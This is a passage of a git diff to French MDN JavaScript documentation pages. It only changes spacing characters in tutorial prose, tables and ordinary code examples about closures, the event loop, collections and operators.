de fondation à la cinquième édition d'ECMAScript, publiée en décembre 2009. La sixième édition, qui apporte des nouveautés majeures, a été publiée en juin 2015. -> **Note :** Dans la suite de cet article et à des fins de simplicité, nous utiliserons les termes « JavaScript » et « ECMAScript » pour désigner la même chose. +> **Note :** Dans la suite de cet article et à des fins de simplicité, nous utiliserons les termes « JavaScript » et « ECMAScript » pour désigner la même chose. Contrairement à la plupart des langages de programmation, JavaScript n'a pas de concept d'entrée ou de sortie. Il est conçu pour s'exécuter comme un langage de script dans un environnement hôte, et c'est à cet environnement de fournir des mécanismes de communication avec le monde extérieur. L'environnement hôte le plus commun est un navigateur, mais des interpréteurs JavaScript existent également dans Adobe Acrobat, Photoshop, les images SVG, le moteur de widgets de Yahoo!, et même au sein d'environnements côté serveur tels que [Node.js](https://nodejs.org/). Cette liste ne se limite pas qu'à ces éléments et on retrouve également JavaScript dans les bases de données NoSQL telles que [Apache CouchDB](https://couchdb.apache.org/), les ordinateurs embarqués ou encore des environnements de bureaux comme [GNOME](https://www.gnome.org/) (l'une des interfaces graphiques les plus populaires des systèmes d'exploitation GNU/Linux), etc. @@ -151,7 +151,7 @@ isNaN([1]) // false isNaN([1,2]) // true ``` -JavaScript dispose également de valeur spéciales pour l'infini [`Infinity`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Infinity) et l'infini négatif (`-Infinity`) : +JavaScript dispose également de valeur spéciales pour l'infini [`Infinity`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Infinity) et l'infini négatif (`-Infinity`) : ```js 1 / 0; // Infinity @@ -259,7 +259,7 @@ for (var variableVar = 0; variableVar < 5; variableVar++) { Si on déclare une variable sans lui affecter aucune valeur, son type sera alors `undefined`. -JavaScript possède une différence importante quant aux autres langages de programmation comme Java : en JavaScript, les blocs ne créent pas de portées pour les variables déclarées avec `var`, c'est la fonction qui gère la portée d'une variable déclarée avec `var`. Aussi, si une variable est définie avec `var` au sein d'une instruction conditionnelle avec `if`, cette variable sera visible depuis l'ensemble de la fonction. Avec ECMAScript 2015, les instructions de déclarations, [`let`](/fr/docs/Web/JavaScript/Reference/Statements/let) et [`const`](/fr/docs/Web/JavaScript/Reference/Statements/const) permettent de créer des variables dont la portée est limitée à celle du bloc qui l'englobe. +JavaScript possède une différence importante quant aux autres langages de programmation comme Java : en JavaScript, les blocs ne créent pas de portées pour les variables déclarées avec `var`, c'est la fonction qui gère la portée d'une variable déclarée avec `var`. Aussi, si une variable est définie avec `var` au sein d'une instruction conditionnelle avec `if`, cette variable sera visible depuis l'ensemble de la fonction. Avec ECMAScript 2015, les instructions de déclarations, [`let`](/fr/docs/Web/JavaScript/Reference/Statements/let) et [`const`](/fr/docs/Web/JavaScript/Reference/Statements/const) permettent de créer des variables dont la portée est limitée à celle du bloc qui l'englobe. ## Les opérateurs @@ -990,7 +990,7 @@ function parentFunc() { Cela peut s'avérer très utile dans l'écriture de code plus facilement maintenable. Si une fonction A dépend d'une ou deux autres fonctions B et C qui ne sont utiles à aucun autre endroit de votre code, on peut imbriquer ces fonctions utilitaires B et C à l'intérieur de la fonction A. Cela diminue le nombre de fonctions se trouvant dans la portée globale, ce qui est toujours une bonne chose. -C'est également un bon moyen de se préserver de l'attrait trompeur des variables globales. Lorsqu'on écrit du code complexe, il est souvent tentant d'utiliser des variables globales pour partager des valeurs entre différentes fonctions, ce qui mène à du code difficile à maintenir. Les fonctions internes peuvent partager des variables avec leur parent, de sorte que vous pouvez utiliser ce mécanisme pour coupler des fonctions ensemble lorsque cela a un sens, sans pour autant polluer l'espace de noms global. Ce sont ainsi des « globales locales ». Cette technique doit être utilisée parcimonieusement, mais il est utile de s'en souvenir. +C'est également un bon moyen de se préserver de l'attrait trompeur des variables globales. Lorsqu'on écrit du code complexe, il est souvent tentant d'utiliser des variables globales pour partager des valeurs entre différentes fonctions, ce qui mène à du code difficile à maintenir. Les fonctions internes peuvent partager des variables avec leur parent, de sorte que vous pouvez utiliser ce mécanisme pour coupler des fonctions ensemble lorsque cela a un sens, sans pour autant polluer l'espace de noms global. Ce sont ainsi des « globales locales ». Cette technique doit être utilisée parcimonieusement, mais il est utile de s'en souvenir. ## Les fermetures (_Closures_) diff --git a/files/fr/web/javascript/about_javascript/index.md b/files/fr/web/javascript/about_javascript/index.md index 9df9e079ce..63019c82b9 100644 --- a/files/fr/web/javascript/about_javascript/index.md +++ b/files/fr/web/javascript/about_javascript/index.md @@ -12,9 +12,9 @@ original_slug: Web/JavaScript/A_propos ## Qu'est-ce que JavaScript ? -[JavaScript](https://fr.wikipedia.org/wiki/JavaScript)®, souvent abrégé en JS, est le langage de script développé par Netscape utilisé dans des millions de pages web et d'applications serveur dans le monde entier. Le JavaScript de Netscape est une extension du langage de script standard ECMA-262 Edition 3 (ECMAScript), ne différant que légèrement des standards publiés. JavaScript est un langage léger, interprété, orienté objet (les fonctions étant des objets à part entière). Il est [orienté prototype](https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_prototype), multi-paradigme étant dynamique, impératif et fonctionnel à la fois +[JavaScript](https://fr.wikipedia.org/wiki/JavaScript)®, souvent abrégé en JS, est le langage de script développé par Netscape utilisé dans des millions de pages web et d'applications serveur dans le monde entier. Le JavaScript de Netscape est une extension du langage de script standard ECMA-262 Edition 3 (ECMAScript), ne différant que légèrement des standards publiés. JavaScript est un langage léger, interprété, orienté objet (les fonctions étant des objets à part entière). Il est [orienté prototype](https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_prototype), multi-paradigme étant dynamique, impératif et fonctionnel à la fois -Contrairement à une conception populaire, _JavaScript n'est pas « du Java interprété »_. En quelques mots, JavaScript est un langage de script dynamique utilisant une construction d'objets basée sur des prototypes. La syntaxe de base est volontairement similaire à Java et à C++ pour réduire le nombre de concepts nouveaux à assimiler par un débutant. Les structures de contrôle, telles que les instructions `if`, les boucles `for` et `while`, les blocs `switch` et `try..catch` fonctionnent de la même manière que dans ces langages (ou presque). +Contrairement à une conception populaire, _JavaScript n'est pas « du Java interprété »_. En quelques mots, JavaScript est un langage de script dynamique utilisant une construction d'objets basée sur des prototypes. La syntaxe de base est volontairement similaire à Java et à C++ pour réduire le nombre de concepts nouveaux à assimiler par un débutant. Les structures de contrôle, telles que les instructions `if`, les boucles `for` et `while`, les blocs `switch` et `try..catch` fonctionnent de la même manière que dans ces langages (ou presque). JavaScript peut être employé en tant que langage [procédural](https://fr.wikipedia.org/wiki/Programmation_procédurale) ou [orienté objet](https://fr.wikipedia.org/wiki/Programmation_orientée_objet). Les objets sont créés par le programme et des méthodes et des propriétés lui sont attachés lors de l'exécution, contrairement aux définitions de classes courantes dans les langages compilés comme C++ et Java. Une fois qu'un objet a été construit, il peut servir de modèle (ou prototype) pour créer des objets similaires. @@ -35,7 +35,7 @@ En plus de ces implémentations, il existe d'autres moteurs JavaScript largement - [Carakan](https://my.opera.com/ODIN/blog/carakan-faq "https://my.opera.com/ODIN/blog/carakan-faq") est utilisé dans les anciennes versions d'Opera. - Le moteur [Chakra](https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29 "https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29") est utilisé dans Internet Explorer (bien que le langage qu'il implémente soit formellement appelé « JScript » pour des raisons de droits des marques). -Chacun des moteurs JavaScript de Mozilla expose une API publique que les applications peuvent appeler pour utiliser JavaScript. L'environnement hôte le plus courant pour JavaScript est, de loin, un navigateur Web. Les navigateurs utilisent typiquement l'API publique pour créer des « objets hôtes », reflétant le [DOM](/fr/docs/DOM) en JavaScript. +Chacun des moteurs JavaScript de Mozilla expose une API publique que les applications peuvent appeler pour utiliser JavaScript. L'environnement hôte le plus courant pour JavaScript est, de loin, un navigateur Web. Les navigateurs utilisent typiquement l'API publique pour créer des « objets hôtes », reflétant le [DOM](/fr/docs/DOM) en JavaScript. Une autre utilisation courante de JavaScript est d'être un langage de script côté serveur (Web). Un serveur web JavaScript exposerait, lui, des objets hôtes représentant les requêtes HTTP et leurs réponses, qui peuvent ensuite être manipulées par un programme JavaScript pour générer dynamiquement des pages Web. diff --git a/files/fr/web/javascript/data_structures/index.md b/files/fr/web/javascript/data_structures/index.md index a72af89b1b..d89ced992d 100644 --- a/files/fr/web/javascript/data_structures/index.md +++ b/files/fr/web/javascript/data_structures/index.md @@ -33,10 +33,10 @@ Le dernier standard ECMAScript définit 8 types de données : - {{Glossary("Undefined")}} - {{Glossary("Number", "Nombre")}} - {{Glossary("BigInt")}} (proposition pour ES2020) - - {{Glossary("String", "Chaîne de caractères")}} (String) + - {{Glossary("String", "Chaîne de caractères")}} (String) - {{Glossary("Symbol", "Symbole")}} (type introduit avec ECMAScript 6) -- et le type {{Glossary("Object", "Objet")}} +- et le type {{Glossary("Object", "Objet")}} ## Les valeurs primitives @@ -87,7 +87,7 @@ const y = x + 1n; 9007199254740993n ``` -À l'instar des nombres classiques, on peut utiliser les opérateurs `+`, `*`, `-`, `**` et `%`. Un grand entier ne sera pas strictement égal à un nombre mais on pourra avoir une égalité faible. +À l'instar des nombres classiques, on peut utiliser les opérateurs `+`, `*`, `-`, `**` et `%`. Un grand entier ne sera pas strictement égal à un nombre mais on pourra avoir une égalité faible. Un grand entier se comportera comme un nombre lorsqu'il est converti en booléen avec `if`, `||`, `&&`, `Boolean` et `!`. diff --git a/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.md b/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.md index cad3505a3d..a27fb69fc4 100644 --- a/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.md +++ b/files/fr/web/javascript/enumerability_and_ownership_of_properties/index.md @@ -64,7 +64,7 @@ Le rattachement des propriétés est détérminé selon que la propriété est d >hasOwnProperty()</a > - </code - >en utilisant <code + >en utilisant <code ><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable" >propertyIsEnumerable()</a @@ -166,11 +166,11 @@ Le rattachement des propriétés est détérminé selon que la propriété est d ></code > <code - >- <a + >- <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols" >getOwnPropertySymbols()</a > </code - >en utilisant <code + >en utilisant <code ><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable" >propertyIsEnumerable()</a @@ -257,7 +257,7 @@ Le rattachement des propriétés est détérminé selon que la propriété est d href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols" >getOwnPropertySymbols()</a ></code - >en utilisant <code + >en utilisant <code ><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable" >propertyIsEnumerable()</a diff --git a/files/fr/web/javascript/equality_comparisons_and_sameness/index.md b/files/fr/web/javascript/equality_comparisons_and_sameness/index.md index 7e47857033..dded865285 100644 --- a/files/fr/web/javascript/equality_comparisons_and_sameness/index.md +++ b/files/fr/web/javascript/equality_comparisons_and_sameness/index.md @@ -190,7 +190,7 @@ function attemptMutation(v) { `Object.defineProperty` lancera une exception pour tout changement de la propriété qui serait réellement un changement. Rien ne se passera si aucun changement n'est nécessaire. Ainsi, si `v` vaut `-0`, aucun changement n'est nécessaire et il n'y aura pas d'erreur. Mais si `v` vaut `+0`, `Number.NEGATIVE_ZERO` n'aurait plus la même valeur immuable. De façon interne à l'implémentation, la nouvelle valeur est comparée avec la valeur courante en utilisant une égalité de valeurs. -L'égalité de valeurs peut être testée grâce à la méthode {{jsxref("Object.is")}}. +L'égalité de valeurs peut être testée grâce à la méthode {{jsxref("Object.is")}}. ## Égalité de valeurs nulles @@ -236,7 +236,7 @@ Cependant, ce « modèle de pensées » ne peut pas être étendu avec l'arrivé | `'toto'` | `NaN` | `false` | `false` | `false` | `false` | | `NaN` | `NaN` | `false` | `false` | `true` | `true` | -## Quand utiliser {{jsxref("Object.is")}} et quand utiliser l'égalité stricte +## Quand utiliser {{jsxref("Object.is")}} et quand utiliser l'égalité stricte En plus de la façon dont {{jsxref("Object.is")}} traite `NaN`, la spécificité d'`Object.is()` réside dans sa façon de traiter les valeurs proches de zéro. Dans des cas d'utilisation où on a besoin d'effectuer de la méta-programmation, notamment pour imiter certaines caractéristiques de {{jsxref("Object.defineProperty")}}. Si le scénario d'utilisation ne nécessite pas ce comportement, il est conseillé d'utiliser [`===`](</fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)>). Même si on souhaite pouvoir comparer `NaN` avec lui-même et que ce test vaille `true`, il sera plus simple d'utiliser la méthode {{jsxref("isNaN")}} disponible avec les versions antérieures d'ECMAScript. En effet, cela évite d'avoir à traiter des cas plus complexes où il faudrait gérer les signes des zéros dans les différentes comparaisons. diff --git a/files/fr/web/javascript/eventloop/index.md b/files/fr/web/javascript/eventloop/index.md index 967b2e0ea8..b59e9b0468 100644 --- a/files/fr/web/javascript/eventloop/index.md +++ b/files/fr/web/javascript/eventloop/index.md @@ -94,11 +94,11 @@ while(true) { ### Zéro délai -Un délai à zéro ne signifie pas que le callback sera déclenché après zéro milliseconde. Appeler [`setTimeout`](https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout "The documentation about this has not yet been written; please consider contributing!") avec un délai de `0` (zéro) milliseconde n'éxécute pas le callback après l'interval donné. +Un délai à zéro ne signifie pas que le callback sera déclenché après zéro milliseconde. Appeler [`setTimeout`](https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout "The documentation about this has not yet been written; please consider contributing!") avec un délai de `0` (zéro) milliseconde n'éxécute pas le callback après l'interval donné. -L'exécution dépend du nombre de taches en attente dans la queue. Dans l'exemple ci-dessous, le message `'ceci est juste un message'` sera affiché dans la console avant que le message dans le callback soit traité, parce que le délai est le temps *minimum* requis par l'environnement d'exécution (runtime) pour traiter la demande (pas un temps _garanti_). +L'exécution dépend du nombre de taches en attente dans la queue. Dans l'exemple ci-dessous, le message `'ceci est juste un message'` sera affiché dans la console avant que le message dans le callback soit traité, parce que le délai est le temps *minimum* requis par l'environnement d'exécution (runtime) pour traiter la demande (pas un temps _garanti_). -Fondamentalement, `setTimeout` doit attendre la fin de tout le code pour les messages en file d'attente, même si vous avez spécifié une limite de temps particulière pour votre setTimeout. +Fondamentalement, `setTimeout` doit attendre la fin de tout le code pour les messages en file d'attente, même si vous avez spécifié une limite de temps particulière pour votre setTimeout. ```js (function() { @@ -132,7 +132,7 @@ Un web worker ou une `iframe` d'origine multiple (_cross origin_) possède sa pr ## Non bloquant -Le modèle de la boucle d'événement possède une caractéristique intéressante : JavaScript, à la différence d'autres langages, ne bloque jamais. La gestion des entrées-sorties (_I/O_) est généralement traitée par des événements et des callbacks. Ainsi, quand l'application attend le résultat d'une requête [IndexedDB](/fr/docs/IndexedDB) ou d'une requête [XHR](/fr/docs/XMLHttpRequest), il reste possible de traiter d'autres éléments comme les saisies utilisateur. +Le modèle de la boucle d'événement possède une caractéristique intéressante : JavaScript, à la différence d'autres langages, ne bloque jamais. La gestion des entrées-sorties (_I/O_) est généralement traitée par des événements et des callbacks. Ainsi, quand l'application attend le résultat d'une requête [IndexedDB](/fr/docs/IndexedDB) ou d'une requête [XHR](/fr/docs/XMLHttpRequest), il reste possible de traiter d'autres éléments comme les saisies utilisateur. Il existe certaines exceptions historiques comme `alert` ou des appels XHR synchrones. C'est une bonne pratique que de les éviter. Attention, [certaines exceptions existent](https://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311) (mais relèvent généralement de bugs d'implémentation). diff --git a/files/fr/web/javascript/guide/details_of_the_object_model/index.md b/files/fr/web/javascript/guide/details_of_the_object_model/index.md index 08e7f1d3b2..a662775f77 100644 --- a/files/fr/web/javascript/guide/details_of_the_object_model/index.md +++ b/files/fr/web/javascript/guide/details_of_the_object_model/index.md @@ -127,7 +127,7 @@ Cela montre une hiérarchie d'objets avec les objets suivants : - `Manager` est basé sur `Employee`. Il ajoute la propriété `reports` (« les rapports » dont la valeur par défaut est un tableau vide, destiné à avoir pour valeur un tableau d'objets `Employee`). - `WorkerBee` est également basé sur `Employee`. Il ajoute la propriété `projects` (« les projets » dont la valeur par défaut est un tableau vide, destiné à avoir pour valeur un tableau de chaînes de caractères). - `SalesPerson` est basé sur `WorkerBee`. Il ajoute la propriété `quota` (dont la valeur par défaut est 100). Il surcharge la propriété `dept` avec la valeur « ventes », indiquant que tous les vendeurs sont dans le même département. -- `Engineer` est basé sur `WorkerBee`. Il ajoute la propriété `machine` (dont la valeur par défaut est une chaîne de caractères vide) et surcharge également la propriété `dept` avec la valeur « ingénierie ». +- `Engineer` est basé sur `WorkerBee`. Il ajoute la propriété `machine` (dont la valeur par défaut est une chaîne de caractères vide) et surcharge également la propriété `dept` avec la valeur « ingénierie ». ## La création de la hiérarchie diff --git a/files/fr/web/javascript/guide/expressions_and_operators/index.md b/files/fr/web/javascript/guide/expressions_and_operators/index.md index ac93c75557..f030de6473 100644 --- a/files/fr/web/javascript/guide/expressions_and_operators/index.md +++ b/files/fr/web/javascript/guide/expressions_and_operators/index.md @@ -267,7 +267,7 @@ En plus des opérations arithmétiques standards (+,-,\*,/), JavaScript fournit href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#Reste_(.25)" >Reste</a > - (<code>%</code>)<br /> + (<code>%</code>)<br /> </td> <td> Opérateur binaire. Renvoie le reste entier de la division entre les deux @@ -437,7 +437,7 @@ Les opérateurs de décalage sont énumérés dans le tableau qui suit. </td> <td> <code>9<<2</code> renvoie 36, car 1001, décalé de 2 bits à - gauche, devient 100100, dont la représentation en base 10 est 36. + gauche, devient 100100, dont la représentation en base 10 est 36. </td> </tr> <tr> @@ -454,7 +454,7 @@ Les opérateurs de décalage sont énumérés dans le tableau qui suit. </td> <td> <code>9>>2</code> renvoie 2, car 1001, décalé de 2 bits à droite, - devient 10 représentant 2. De même <code>-9>>2</code> renvoie -3, car + devient 10 représentant 2. De même <code>-9>>2</code> renvoie -3, car le signe est préservé. </td> </tr> @@ -770,7 +770,7 @@ L'opérateur `void` indique qu'une expression doit être évaluée sans retourne L'opérateur `void` peut être utilisé pour spécifier une expression comme un lien hypertexte, l'expression est évaluée mais n'est pas chargée à la place du document actuel. -Le fragment de code qui suit crée un lien hypertexte qui ne fait rien lorsque l'utilisateur clique dessus. Lorsqu'on clique sur le lien, `void(0)` est évalué à `undefined`, n'ayant aucun effet. +Le fragment de code qui suit crée un lien hypertexte qui ne fait rien lorsque l'utilisateur clique dessus. Lorsqu'on clique sur le lien, `void(0)` est évalué à `undefined`, n'ayant aucun effet. ```html <A HREF="javascript:void(0)">Cliquer ici pour ne rien faire</A> diff --git a/files/fr/web/javascript/guide/functions/index.md b/files/fr/web/javascript/guide/functions/index.md index 7c4322b0f1..7671353ca5 100644 --- a/files/fr/web/javascript/guide/functions/index.md +++ b/files/fr/web/javascript/guide/functions/index.md @@ -488,7 +488,7 @@ var créerAnimal = function(nom) { // La fonction externe définit une variable } ``` -L'opérateur [`this`](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this) doit être traité avec précaution dans les fermetures. Attention, `this` fait référence au contexte où la fonction est appelée et non à l'endroit où il est défini. +L'opérateur [`this`](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this) doit être traité avec précaution dans les fermetures. Attention, `this` fait référence au contexte où la fonction est appelée et non à l'endroit où il est défini. ## Utiliser l'objet `arguments` @@ -580,7 +580,7 @@ console.log(arr); // [2, 4, 6] ## Fonctions fléchées -[Une expression de fonction fléchée](/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées) permet d'utiliser une syntaxe plus concise que les expressions de fonctions classiques. Une telle fonction ne possède alors pas de valeur propre pour [`this`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this), [`arguments`](/fr/docs/Web/JavaScript/Reference/Fonctions/arguments), [`super`](/fr/docs/Web/JavaScript/Reference/Opérateurs/super) ou [`new.target`](/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target). Les fonctions fléchées sont nécessairement anonymes. +[Une expression de fonction fléchée](/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées) permet d'utiliser une syntaxe plus concise que les expressions de fonctions classiques. Une telle fonction ne possède alors pas de valeur propre pour [`this`](/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this), [`arguments`](/fr/docs/Web/JavaScript/Reference/Fonctions/arguments), [`super`](/fr/docs/Web/JavaScript/Reference/Opérateurs/super) ou [`new.target`](/fr/docs/Web/JavaScript/Reference/Opérateurs/new.target). Les fonctions fléchées sont nécessairement anonymes. Les fonctions fléchées ont été introduites pour deux raisons principales : une syntaxe plus courte et l'absence de `this` rattaché à la fonction. Voir aussi [ce billet sur tech.mozfr.org sur les fonctions fléchées](https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees). @@ -597,7 +597,7 @@ var a = [ "Hydrogen", "Helium", "Lithium", - "Beryllium" + "Beryllium" ]; var a2 = a.map(function(s){ return s.length }); @@ -613,13 +613,13 @@ Avant les fonctions fléchées, chaque nouvelle fonction définissait sa propre ```js function Personne() { // Le constructeur Personne() utilise `this` comme lui-même. - this.âge = 0; + this.âge = 0; setInterval(function grandir() { // En mode non-strict, la fonction grandir() définit `this` // avec l'objet global, qui est donc différent du `this` // défini par le constructeur Person(). - this.âge++; + this.âge++; }, 1000); } diff --git a/files/fr/web/javascript/guide/grammar_and_types/index.md b/files/fr/web/javascript/guide/grammar_and_types/index.md index b0949d9c01..27bfab4cf7 100644 --- a/files/fr/web/javascript/guide/grammar_and_types/index.md +++ b/files/fr/web/javascript/guide/grammar_and_types/index.md @@ -60,7 +60,7 @@ Il existe trois types de déclarations de variable en JavaScript. Les variables sont utilisées comme des noms symboliques désignant les valeurs utilisées dans l'application. Les noms des variables sont appelés _identifiants_. Ces identifiants doivent respecter certaines règles. Un identifiant JavaScript doit commencer par une lettre, un tiret bas (\_) ou un symbole dollar ($). Les caractères qui suivent peuvent être des chiffres (0 à 9). -À noter : puisque Javascript est sensible aux majuscules et minuscules: les lettres peuvent comprendre les caractères de « A » à « Z » (en majuscule) mais aussi les caractères de « a » à « z » (en minuscule). +À noter : puisque Javascript est sensible aux majuscules et minuscules: les lettres peuvent comprendre les caractères de « A » à « Z » (en majuscule) mais aussi les caractères de « a » à « z » (en minuscule). On peut aussi utiliser la plupart lettres Unicode ou ISO 8859-1 (comme å et ü, pour plus de détails, voir [ce billet de blog, en anglais](https://mathiasbynens.be/notes/javascript-identifiers-es6)) au sein des identifiants. Il est également possible d'utiliser les \uXXXX [séquences d'échappement Unicode](<#littéraux chaînes>) comme caractères dans les identifiants. @@ -295,7 +295,7 @@ Bien que cette description couvre peu de types de données, ceux-ci vous permett ### Conversion de types de données -JavaScript est un langage à typage dynamique. Cela signifie qu'il n'est pas nécessaire de spécifier le type de données d'une variable lors de sa déclaration. Les types de données sont convertis automatiquement durant l'exécution du script. Ainsi, il est possible de définir une variable de cette façon : +JavaScript est un langage à typage dynamique. Cela signifie qu'il n'est pas nécessaire de spécifier le type de données d'une variable lors de sa déclaration. Les types de données sont convertis automatiquement durant l'exécution du script. Ainsi, il est possible de définir une variable de cette façon : ```js var réponse = 42; @@ -614,7 +614,7 @@ Voici un tableau listant les caractères spéciaux qu'il est possible d'utiliser Pour les caractères qui ne font pas partie du tableau précédent, les barres obliques inversées (_backslash_) les précédant sont ignorées. Cependant, cet usage est obsolète et devrait être évité. -En précédant d'une barre oblique inversée les guillemets droits doubles, on _échappe_ ces caractères. Voici un exemple : +En précédant d'une barre oblique inversée les guillemets droits doubles, on _échappe_ ces caractères. Voici un exemple : ```js var citation = "Il lit \"Bug Jargal\" de V. Hugo."; diff --git a/files/fr/web/javascript/guide/indexed_collections/index.md b/files/fr/web/javascript/guide/indexed_collections/index.md index d50654f3a9..6082ecab58 100644 --- a/files/fr/web/javascript/guide/indexed_collections/index.md +++ b/files/fr/web/javascript/guide/indexed_collections/index.md @@ -171,7 +171,7 @@ Si on sait qu'aucun des éléments ne vaut `false` dans un contexte booléen (pa ```js let divs = document.getElementsByTagName('div'); for (let i = 0, div; div = divs[i]; i++) { - /* On effectue un traitement sur les div */ + /* On effectue un traitement sur les div */ } ``` diff --git a/files/fr/web/javascript/guide/keyed_collections/index.md b/files/fr/web/javascript/guide/keyed_collections/index.md index bef70f4b38..aa03492eed 100644 --- a/files/fr/web/javascript/guide/keyed_collections/index.md +++ b/files/fr/web/javascript/guide/keyed_collections/index.md @@ -33,7 +33,7 @@ sayings.has("bird"); // false sayings.delete("dog"); for (var [key, value] of sayings) { - console.log(key + " goes " + value); + console.log(key + " goes " + value); } // "cat goes meow" // "elephant goes toot" @@ -88,7 +88,7 @@ module.exports = Public; Les objets {{jsxref("Set")}} sont des ensembles de valeurs. Il est possible de les parcourir dans l'ordre d'insertion des éléments. Une valeur d'un élément `Set` ne peut y apparaître qu'une seule fois, il est unique pour cette instance de `Set`. -Le code suivant illustre certaines opérations basiques avec `Set`. Voir aussi la page {{jsxref("Set")}} pour plus d'exemples et l'API complète. +Le code suivant illustre certaines opérations basiques avec `Set`. Voir aussi la page {{jsxref("Set")}} pour plus d'exemples et l'API complète. ```js var monEnsemble = new Set(); diff --git a/files/fr/web/javascript/guide/loops_and_iteration/index.md b/files/fr/web/javascript/guide/loops_and_iteration/index.md index 8adb3d18af..af4647d00f 100644 --- a/files/fr/web/javascript/guide/loops_and_iteration/index.md +++ b/files/fr/web/javascript/guide/loops_and_iteration/index.md @@ -327,7 +327,7 @@ L'instruction {{jsxref("statements/for...of","for...of")}} crée une boucle qui instruction } -Dans l'exemple suivant, on illustre la différence entre une boucle `for...of` et une boucle [`for...in`](/fr/docs/Web/JavaScript/Reference/Instructions/for...in). `for...in` parcourt les noms des propriétés d'un objet alors que `for...of` parcourt les **valeurs** des propriétés : +Dans l'exemple suivant, on illustre la différence entre une boucle `for...of` et une boucle [`for...in`](/fr/docs/Web/JavaScript/Reference/Instructions/for...in). `for...in` parcourt les noms des propriétés d'un objet alors que `for...of` parcourt les **valeurs** des propriétés : ```js let arr = [3, 5, 7]; diff --git a/files/fr/web/javascript/guide/meta_programming/index.md b/files/fr/web/javascript/guide/meta_programming/index.md index 8564629cd6..80c99b7eb3 100644 --- a/files/fr/web/javascript/guide/meta_programming/index.md +++ b/files/fr/web/javascript/guide/meta_programming/index.md @@ -319,7 +319,7 @@ Le tableau suivant résume les différentes trappes disponibles pour les objets <p> Le résultat de <code>ownKeys</code> est une liste.<br /><br />Le type de chaque élément de la liste est soit une - {{jsxref("String")}} soit un {{jsxref("Symbol")}}.<br /><br />La + {{jsxref("String")}} soit un {{jsxref("Symbol")}}.<br /><br />La liste résultatnte doit contenir les clés de toutes les propriétés non-configurables de l'objet cible.<br /><br />Si l'objet cible n'est pas extensible, la liste résultante doit contenir toutes les clés des diff --git a/files/fr/web/javascript/guide/numbers_and_dates/index.md b/files/fr/web/javascript/guide/numbers_and_dates/index.md index 33d7e90ae3..cfe7f886cc 100644 --- a/files/fr/web/javascript/guide/numbers_and_dates/index.md +++ b/files/fr/web/javascript/guide/numbers_and_dates/index.md @@ -146,7 +146,7 @@ Le tableau qui suit liste certaines des propriétés de `Number`. <tr> <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td> <td> - Le plus petit entier qu'on puisse représenter en JavaScript. (−2^53 + 1 + Le plus petit entier qu'on puisse représenter en JavaScript. (−2^53 + 1 ou <code>−9007199254740991</code>) </td> </tr> @@ -204,7 +204,7 @@ Le tableau suivant liste les méthodes de l'objet `Math`. | {{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}} | Fonctions trigonométriques inverses (les valeurs renvoyées sont exprimées en radians) | | {{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}} | Fonctions trigonométriques hyperboliques (les arguments sont exprimés en radians) | | {{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}} | Fonctions trigonométriques hyperboliques inverses (les valeurs renvoyées sont exprimées en radians). | -| {{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}} | Fonctions exponentielles et logarithmiques | +| {{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}} | Fonctions exponentielles et logarithmiques | | {{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}} | Renvoie le plus petit/grand entier inférieur/supérieur ou égal à l'argument donné | | {{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}} | Renvoie le plus petit (resp. grand) nombre d'une liste de nombres séparés par des virgules | | {{jsxref("Math.random", "random()")}} | Renvoie un nombre aléatoire compris entre 0 et 1 | diff --git a/files/fr/web/javascript/guide/regular_expressions/assertions/index.md b/files/fr/web/javascript/guide/regular_expressions/assertions/index.md index 1e1dbb1a9d..1d722fdc94 100644 --- a/files/fr/web/javascript/guide/regular_expressions/assertions/index.md +++ b/files/fr/web/javascript/guide/regular_expressions/assertions/index.md @@ -85,7 +85,7 